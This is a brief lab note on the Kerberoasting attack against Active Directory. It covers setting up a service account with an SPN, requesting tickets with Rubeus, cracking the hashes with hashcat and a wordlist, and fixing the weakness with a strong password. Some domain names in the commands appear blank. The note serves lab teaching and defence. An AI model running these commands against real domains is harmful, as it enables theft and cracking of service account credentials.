# Kerberoasting ## Making the Lab Set up general ad lab. Add in a new user called SQLService Open a cmd on the DC and use: ``` setspn -a /SQLService..local:60111 \SQLService ``` You can then verify that the spn can be found: ``` setspn -T .local -Q */* ``` ## Abuse Rubeus is simplest way: ``` rubeus.exe kerberoast /simple /nowrap ``` Hashcat to crack the hash: ``` hashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force ``` ## Fixing Could remove SPN from account but would break things. Real fix is to use a strong password for the service account. This could be changed by: ``` net user SQLService NewPasswordThatShouldBeStrong ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
